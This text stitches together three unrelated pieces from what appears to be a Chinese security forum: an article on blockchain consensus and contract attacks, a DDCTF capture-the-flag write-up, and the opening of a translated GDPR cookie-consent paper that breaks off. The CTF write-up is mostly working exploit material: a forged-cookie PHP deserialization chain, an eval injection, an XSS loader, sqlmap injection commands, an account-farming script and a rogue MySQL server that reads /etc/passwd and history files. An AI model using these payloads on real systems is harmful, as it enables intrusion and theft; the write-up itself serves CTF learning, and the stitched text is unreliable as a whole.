而拜占庭将军问题的原型就是在战争中的相关方案。问题的原型如下：拜占庭帝国为了扩张领域需要攻打一个强大的敌人，为此他们派去了10支队伍，然而这个帝国虽然打不过10支队伍，但是也足以抵抗5支军队。然而拜占庭帝国的军队必须要同时开始攻击才能够攻破城池。那么拜占庭如何让他们10支队伍中的半数以上（6+）同时进攻呢？假设通信兵没有任何阻碍，但是对于这些将军来说，他们不确定他们中是否有叛徒，叛徒可能擅自变更进攻意向或者进攻时间。在这种状态下，拜占庭将军们如何才能保证有多于6支军队在同一时间一起发起进攻，从而赢取战斗？
假设团队中没有出现叛徒，那么假设将军A提议早上8点攻击，此时通信兵通知了其他将军，并获得了全部统一，那战役成功。然而其中部分将军不同意并同时提出了其他的提议。（例如早上9点攻击、11点攻击、下午3点攻击等......）。除此之外，由于时间上并不是同步到，不同将军收到的提议的时间也是不同的。上述情况是相对理想一些的，分布式中的时间延迟也是可以理解的。倘若我们将问题复杂一些看待，其中的节点中出现了叛徒（恶意节点），并且他故意捣乱向将军发出了不同的进攻提议（例如在同一了其中一个时间后又同一了其他时间；或者随意发送提议等）。
而叛徒发送前后不一致的进攻提议，被称为“拜占庭错误”，而能够处理拜占庭错误的这种容错性称为「Byzantine fault
tolerance」，简称为BFT。
#### 2 算法详情
而此时我们就很容易进行解释为何中本聪选择了使用
Pow了作为区块链的共识，我们从上述内容了解到，由于恶意节点在某个时间段的不断作恶行为，导致了节点中存在了大量的错误信息，所以我们引入了工作量证明来增加发送信息的成本，并降低发送信息的速率以达到在一个时间只有一个节点(或是很少)在进行广播。
而运用算法机制已经密码学知识。当将军A提出一个提议后，他就要先发布了一个消息“进攻”并附上了自己的签名“将军A”
。例如【3点进攻+将军A签名】。其他人看到后也要在其后面附上内容，例如将军B看到后回复：【3点进攻 +
将军B签名】。当消息达到6个后他们便可以达成进攻共识进行进攻。
这时也会出现一种情况，将军A发出消息后，可能会有两个或多个将军同时跟上“进攻+签名”的消息，这时，各个节点会严格按照广播的精确时间进行排序，确保一条链的完整性。
而这就是区块链存在的分叉机制，在比特币中我们采用了在最长节点后添加区块的共识来解决分叉问题。
一个分布式节点中假设存在“3f+1”节点，而最大恶意节点数的容忍数量则是f个。而整个算法的流程如下：
* 1客户端向主节点请求服务
* 2主节点广播给副节点
* 3副节点执行内容并反馈
* 4客户端收到f+1个相同答案的数据
### 二、授权拜占庭容错算法（DBFT）
#### 1 DBFT简介
DBFT称为delegated BFT，它是在Castro 和
Liskov提出的“实用拜占庭容错算法”的基础上经过改进的算法。下面我们看一下算法的详细过程：
* 1获取议员名单：这种共识机制与议会制度十分相似，而每个区块的生成都是在议长的主持下由议会成员共同协商而生成的。
* 2确定议长：确定议长的算法是当前区块高度+1 再减去当前的视图编号，结果mod上当前的议员人数，结果就是议长的下标。
* 3议长发起共识：议长在更新完视图编号后，如果当前时间距离上次写入新区块的时间超过了预定的每轮共识的间隔时间（15s）则立即开始新一轮的共识，否则等到间隔时间后再发起共识。
* 4议员参与共识：当议长发起共识后会广播给议员节点，此时议员收到消息后对消息进行公钥验证，之后进行共识。
* 5视图更新：一个视图生存周期完成的时候，如果共识还没有被达成，则议员会发送广播请求进入下一个视图周期并重新选择议长，当请求更新视图的请求大于议员数量的2/3的时候，全网达成共识进入下一个视图周期重新开始共识过程。
详细源码分析见：[从NEO源码分析看DBFT共识协议](https://mp.weixin.qq.com/s?__biz=MzUzNDQwNDQ0Mw==&mid=2247483919&idx=1&sn=596887560d33a3e4a6af9631e0c48738&chksm=fa940e3bcde3872dad416b3e6842e004199819ce76a953104bfe0730b424e2e46df8bc6f4325&scene=21#wechat_redirect)
相比其他算法，DBFT在以下方面做了改进：
* 1将C/S架构的请求响应模式，改进为适合P2P网络的对等节点模式
* 2将静态的共识参与节点改进为可动态进入、退出的动态共识参与节点
* 3为共识参与节点的产生设计了一套基于持有权益比例的投票机制，通过投票决定共识参与节点（记账节点）
* 4在区块链中引入数字证书，解决了投票中对记账节点真实身份的认证问题
#### 2 DBFT安全隐患
根据DBFT的白皮书陈述，总节点数量的要求： n >= 3f + 1
（f为作恶节点）。而在区块链中需要一位议长并且负责提议过程，而议员的工作是对提议进行投票和验证，如果投票数量 >= 2f +
1，就代表该区块最终被确定下来。即投票数是恶意节点的两倍多。在区块链系统的正常运转过程中可能存在议长离线的情况。此时议员需要重新选举议长。然而此时威胁就已经存在了。
我们知道区块链作为分布式系统其信息在传播的过程中肯定存在延迟的现象。例如一些议员收到2f +
1个投票时，部分节点未必也能收到2f+1这么多的投票消息。而节点与节点之间并不知道对方是否收到了相应的消息。此时当部分议员收到、部分议员没有收到消息时，超时的一方就会发起change-view过程，而此过程被用于重新选举议长。此时就会存在两方信息不匹配的情况（会去不同的区块上添加消息，即分叉为两个部分）。
单单是网络延迟就会导致这个问题产生，假设有黑客从中作乱呢？
当一个作恶的人或者黑客混入了小蚁的记帐人节点时，那黑客就可以故意改写源代码，在快要超时重选议长的时候，黑客再发起提议，此时就有很大的概率复现上面说的分叉现象。
### 三、日蚀攻击
### 1 攻击介绍
日蚀攻击是对区块链的一种网络级攻击，它与我前文层提到的P2P网络相关连，并且属于P2P网络中的一种攻击。这种攻击的对象相对比较丰富，在比特币与以太坊中均存在此类攻击。
简单来说，在日蚀攻击中，攻击者控制所有来自以目标受害者的节点及将要连接目标受害者的节点。这样，攻击者就可以防止受害者获得关于网络其他部分的完整信息。而如果能够成功利用日蚀攻击，那么攻击者只需40%的算力就可以达到51%攻击的效果。
攻击方法如下：
* 1攻击者通过某种方法将正常的比特币节点的输出连接连接到攻击者控制的节点，并使用攻击节点连接器输入节点（全部连满）。而我们知道，在比特币节点的本地中存有新、旧两张节点地址的表格。而区块链节点每次建立的输出连接均是在这两张表中寻找到最新的一个节点。而攻击者要做的就是不断的与该节点进行连接，以便不断刷新表格以达到控制的目的。
* 2攻击者使用DDos使目标节点宕机并重启，这样就控制了该节点的输入输出，也就变相的控制了该节点。
### 2 各平台应用情况
我们知道，比特币设计之初只能生产8个输出的TCP连接，而以太坊需要13个。同时以太坊使用了点对点加密的安全通道，比特币却没有。所以我们一定会下意识的以为以太坊在日蚀攻击中肯定是比比特币平台安全的。但是事实不是这样。
对于比特币来说，攻击者可以控制足够数量的 IP
地址来垄断所有受害节点之间的有效连接。然后攻击者可以征用受害者的挖掘能力，并用它来攻击区块链的一致性算法或用于 “重复支付和私自挖矿”。
对于以太坊，攻击者可以垄断受害节点所有的输入和输出连接，从而将受害节点与网络中其他正常节点隔离开来。
然后攻击者日食攻击可以诱骗受害者查看不正确的以太网交易细节，诱骗卖家在交易其实还没有完成的情况下将物品交给给攻击者。
然而以太坊的点对点网络中的节点由其公钥所标识。也就是说，以太坊的版本允许用户在同一个IP下运行无限数量的节点，每个节点都有一个不同的公钥。而比特币相对于的一个IP地址只能对应一个节点。这也就是为何曾经国外实验室使用了两天PC机就可以模拟日蚀攻击的原因。
### 四、区块链贿赂攻击（Bribery Attacks）
而这种攻击不同于上述的P2P网络类型的攻击。此类攻击运用了区块链中的“社会学”。简单来说，恶意节点没有必要在Pow机制下为了使自己能做恶而疯狂提升算力。反而，我可以在一个区块链协议之外的贿赂者通过一个条件来收购代币或者挖矿算力，从而达到攻击原有区块链的目的。
举例一个简单的投票机制。假设所有参与者均可以投票0或者1。而机制规定只有所有节点全部为0或者1才给与奖励。此时有下图：
即当自己投反对点1时，攻击方可以基于你贿赂，也就是给与你E价值的奖励。而原本全为0的时候，所有节点均处于[纳什均衡](https://baike.baidu.com/item/%E7%BA%B3%E4%BB%80%E5%9D%87%E8%A1%A1/534868?fr=aladdin)（博弈论知识），而当其中1个人被贿赂的时候，这个均衡还不会被打破。倘若攻击者给所有的节点均进行了贿赂，则所有人均由原来的P到了现在的P+E。而吃亏的是区块链系统。
### 五、整数溢出攻击
下面我们讲述一下利用区块链合约中的系统漏洞导致的攻击行为。
事件回顾：
4月25日早间，火币Pro公告，SMT项目方反馈今日凌晨发现其交易存在异常问题。该漏洞代理的直接经济损失高达上亿元人民币，间接产生的负面影响目前无法估量。
而这个漏洞取源于整数溢出问题。
我们来看一个例子：
pragma solidity ^0.4.10;
/**
这是一个测试整数类型上溢和下溢的例子
*/
contract Test{
// 整数上溢
//如果uint8 类型的变量达到了它的最大值(255)，如果在加上一个大于0的值便会变成0
function test() returns(uint8){
uint8 a = 255;
uint8 b = 1;
return a+b;// return 0
}
//整数下溢
//如果uint8 类型的变量达到了它的最小值(0)，如果在减去一个小于0的值便会变成255
function test() returns(uint8){
uint8 a = 0;
uint8 b = 1;
return a-b;// return 255
}
}
而根据上面的内容，我们知道这中漏洞就是由于检测不严格而导致的，这也会在现实的协议中产生致命的危害。
而在曾经出现过严重问题的SMT合约中，整数溢出问题就给了其一个大的教训。
比如在源码transferProxy()代码中：
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeSmt,
uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){
if(balances[_from] < _feeSmt + _value) revert();
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce);
if(_from != ecrecover(h,_v,_r,_s)) revert();
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _feeSmt < balances[msg.sender]) revert();
balances[_to] += _value;
Transfer(_from, _to, _value);
balances[msg.sender] += _feeSmt;
Transfer(_from, msg.sender, _feeSmt);
balances[_from] -= _value + _feeSmt;
nonces[_from] = nonce + 1;
return true;
}
我们知道`_feeSmt`与`_value`均是由用户传入的变量参数。而我们看第一行代码，`if(balances[_from] < _feeSmt +
_value) revert();`当账户余额小于`_feeSmt +
_value`时会跳出if语句。也就是无法进行下一步的转账操作。然而我们根据上面的内容知道，加入`_feeSmt =
9fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff`并且`value =
6000000000000000000000000000000000000000000000000000000000000001`此时两者相加使数字溢出为0。
简单的说由于溢出而使if语句没有执行，直接跳过了检查而使下面的语句执行成功。
详细内容可以参考[整数溢出安全漏洞](http://www.blockchainbrother.com/article/1992)
这也就与传统的web漏洞非常相似，例如PHP中的弱类型等等均可以看做类似的利用模式。
### 六、参考资料
* 1 [https://baijiahao.baidu.com/s?id=1591728006111720793&wfr=spider&for=pc](https://baijiahao.baidu.com/s?id=1591728006111720793&wfr=spider&for=pc)
* 2 <https://www.jianshu.com/p/848d5db9ecb5>
* 3 <http://8btc.com/thread-141482-1-2.html>
* 4 <https://www.jianshu.com/p/b3539cd173f5>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
## 滴~ 这是一道脑洞题。。。
<http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09>
后面的字符串，可以两次base64解码，一次url解码
应该是文件包含，写了个转换的小脚本
import binascii
import base64
filename = input().encode(encoding='utf-8')
hexstr = binascii.b2a_hex(filename)
base1 = base64.b64encode(hexstr)
base2 = base64.b64encode(base1)
print(base2.decode())
一开始我读的是php://filter/read=convert.base64-encode/resource=index.php，但是没有任何返回，于是我直接读了index.php，发现图片data的协议存在数据，复制图片链接base64解码
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
这道题是有一个原题的，<https://www.jianshu.com/p/6a64e8767f8f>
从原题可以知道这里是绕不过代码层面的，但是原题读取的是.idea文件夹，本题没有，然后这就是这道题最脑洞的地方，上面得CSDN的博客url是有作用的，并且第四行的日期和博文发布的时间不是对应的，需要去作者文章下这个日期的文章<https://blog.csdn.net/FengBanLiuYun/article/details/80913909>
在这篇文章里讲了vim的临时文件，并且文章提到了.practice.txt.swp这个文件，然后我试了半天swp,swo.swn,最后发现只要把前面的.去掉，访问<http://117.51.150.246/practice.txt.swp>
题目返回f1ag!ddctf.php，由于源码中会把config替换为!于是访问f1agconfigddctf.php编码形式再解码即可拿f1ag!ddctf.php源码
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
变量覆盖+php伪协议，?k=php://input&uid=1 post数据传1
## WEB 签到题
考点是反序列化
直接访问提示没有访问权限，查看源代码，查看发起的网络请求发现了一个接口
发现一个ddctf_username的header头，改为admin访问这个接口
返回了一个文件名，访问返回了两个新文件的源代码
url:app/Application.php
<?php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
?>
url:app/Session.php
<?php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
?>
代码逻辑大概是自己写了个客户端session，如果符合一定标准则会反序列化请求的客户端session，Application的类的__destruct方法存在文件读取，传入的是path变量，111行存在反序列化操作，所以path变量可控，结合即可任意文件读取。但是要进行反序列化操作必须过107层的MD5判断，但是$this->eancrykey不知，118行和121行可以通过格式化字符串读取$this->eancrykey,$_POST["nickname"]传%s，这样第一次格式化%s还是被格式化为%s，第二次%s替换为$this->eancrykey
拿到了$this->eancrykey，我们就可以伪造任意客户端cookie，然后构造序列化字符串
需要注意的是，我们伪造的path变量必须为18为长度，并且代码会把../替换为空，注释提示flag文件在同一目录，猜测为../config/flag.txt
所以构造path为 ..././config/flag.txt,刚好替换后为flag地址，并且长度为18
exp:
<?php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
}
$class = unserialize(urldecode("a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22a266d530ea78089fca551da75c2713a4%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22222.18.127.50%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A73%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%3B+rv%3A56.0%29+Gecko%2F20100101+Firefox%2F56.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D0d90002f458ae1d96eb1dffdc081c822"));
$app = new Application();
$secret = "EzblrbNS";
$app->path = "..././config/flag.txt";
array_push($class,$app);
var_dump(md5($secret.serialize($class)));
var_dump(urlencode(serialize($class)));
先将服务端返回的cookie反序列化，然后往数组添加一个伪造的Application类，控制path参数，然后通过$this->eancrykey构造签名
## homebrew event loop
这道题蛮有意思的，差点一血，被师傅抢先了一丢丢
# -*- encoding: utf-8 -*- # written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f88147e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
主要问题是46行，eval函数存在注入,可以通过#注释，我们可以传入路由action:eval#;arg1#arg2#arg3这样注释后面语句并可以调用任意函数，分号后面的#为传入参数，参数通过#被分割为参数列表
于是可以调用trigger_event函数，并且该函数参数可以为列表，调用trigger_event，可以发现trigger_event的参数依旧为函数，传入的函数名会被传入事件列表之后在事件循环中被执行，所以调用trigger_event并传入其他函数的话就相当于我们可以执行多个函数，首先执行buy_handler(5）,再执行get_flag_handler()，就可以绕过session['num_items']
>=
5的判断，然后flag会被传递到trigger_event函数并且被写入session['log'],要注意执行buy_handler函数后事件列表末尾会加入consume_point_function函数，在最后执行此函数时校验会失败，抛出RollBackException()异常，但是不会影响session的返回（做题时以为异常不会返回session想了好久）。然后再用p师傅的脚本解密session即可拿flag
exp:
## Upload-IMG
访问后可以上传图片，一开始上传会题目会提示需要包含phpinfo()字符串，但是加入字符串后上传依旧提示未包含，下载下上传后的图片，hex查看发现经过了php-gd库渲染，我们加入的字符串在渲染的时候被删除。上网搜索的时候发现了一个工具
<https://wiki.ioin.in/soft/detail/1q>
可以用这个工具生成可以GD渲染处理后，依然能保留字符串的jpg，在py源码中把字符串改为phpinfo()，然后生成。但是一直失败，后面在这篇文章发现其实要看脸
<https://paper.seebug.org/387/#2-php-gdwebshell>
<
疯狂找图片，找了快100张了，然后在我用我博客的一张背景图的时候终于成功了
## 欢迎报名DDCTF
太脑洞了，太脑洞了，太脑洞了
一直以为是sql，直到用xss的exp发现有bot请求
在报名页面的备注里只对sql进行一点过滤，但是xss没有任何过滤，直接<script src=//xxxx></script>即可
通过xss平台读页面源码读到一个接口
<http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=>
测了半天注入还是没东西，结果一堆人做出来后重新复测，注意到返回头GBK
然后就是宽字节注入
SQLmap加tamper都可以跑
#所有数据库名
python2 sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --dbs --hex
#数据库表名
python2 sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex -D "ctfdb" --tables
#字段名
python2 sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex -D "ctfdb" -T "ctf_fhmHRPL5" --columns
#flag
python2 sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex --sql-shell
sql-shell> select ctf_value from ctfdb.ctf_fhmHRPL5;
常规操作，注库名，表名，字段名（TCL）做的时候想的太复杂了，但是我的sqlmap最后这里不能直接--dump，所以我执行了--sql-shell自定义sql命令最终拿的flag
sqlmap宽字节注入自带的tamper是unmagicquotes
这里因为过滤了单引号，所以我们需要用--hex参数将字符串转为0x开头的16进制数字避开引号
## 大吉大利,今晚吃鸡~
cookie发现是go的框架，买东西回想起了护网杯的溢出，可以参考这篇文章
<https://evoa.me/index.php/archives/4/>
溢出了一下午，最后特别脑洞发现要用Go的无符号32位整形来溢出，42949672961,购买成功,然后返回了一个id和token，然后可以开始通过输入id和token淘汰选手，但是返回回来的id和token是自己的，并不能自己淘汰自己
这个时候突然脑洞大开，注册小号，购买入场券，然后淘汰小号的id和token发现成功
然后批量注册小号批量买入场券批量拿id和token给大号淘汰
我的脚本:
import requests
import time
for i in range(0,1000):
print(i)
url1 = "http://117.51.147.155:5050/ctf/api/register?name=evoa0{0}&password=xxxxxxxxxxxx".format(str(i))
url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=42949672961"
url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="
url4 = "http://117.51.147.155:5050/ctf/api/remove_robot?ticket={0}&id={1}"
rep1 = requests.get(url1)
cook1name = rep1.cookies["user_name"]
cook1sess = rep1.cookies["REVEL_SESSION"]
urlcookies={"user_name":cook1name,"REVEL_SESSION":cook1sess}
rep2 = requests.get(url2,cookies=urlcookies)
billid = rep2.json()['data'][0]["bill_id"]
rep3 = requests.get(url3+billid,cookies=urlcookies)
userid = rep3.json()['data'][0]["your_id"]
userticket = rep3.json()['data'][0]["your_ticket"]
time.sleep(1)
rep4 = requests.get(url4.format(userticket,str(userid)),cookies={"user_name":"evoA002","REVEL_SESSION":"675dc6a259890db618c598e0cd9f9802"})
print(url4.format(userticket,str(userid)))
with open("chicken.txt","a") as txt:
txt.write(str(userid) + ":" +userticket)
txt.write("\n")
但是每次注册的小号不一定能成功，而且淘汰到后期id和token重复率会很高效率会很低，看脸了，滴滴会限制访问频率所以脚本sleep了一秒，但我还用了vps来帮忙跑所以还是比较快的，差不多半个小时不到就吃鸡了
## mysql弱口令
一看到题目描述就想到了mysql服务端伪造
<https://xz.aliyun.com/t/3277>
然后网上找了个py脚本来伪造
<https://www.cnblogs.com/apossin/p/10127496.html>
#coding=utf-8
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
题目首先会给你一个agent.py，看源码知道这是一个验证服务端有没有运行mysql进程的文件，agent.py会使用8213端口，调用netstat
-plnt命令查看进程和端口并返回给http请求，题目服务器先会请求你的vps上8123端口来验证是否开启mysql进程，所以直接把输出改为mysql的进程就可以绕过
result = [{'local_address':"0.0.0.0:3306","Process_name":"1234/mysqld"}]
运行上面的py就可以读文件了，题目表单输入的是你的vps地址和mysql端口
然后疯狂读文件，读了一下午啥都没有，读数据库文件发现只有字段和表名没有flag，后面想到有个/root/.mysql_history文件，尝试读取
就出flag了
不过这个好像是非预期解，正解应该是读取idb文件。而且读取了一下.bash_history和.viminfo文件还有新的收获，这个题目服务器上还运行着吃鸡的题目环境，还可以读取吃鸡的题目源码，flag高高的挂在里面。。 | 社区文章 |
# 针对Cookie同意和 GDPR 违规的自动化检测工具
|
##### 译文声明
本文是翻译文章，文章原作者 Dino Bollinger，Karel Kubicek，Carlos Cotrini，David
Basin，文章来源：usenix.org
原文地址：<https://www.usenix.org/system/files/sec22summer_bollinger.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
欧盟的通用数据保护条例 (GDPR) 要求网站告知用户有关个人数据收集的信息并请求同意其使用
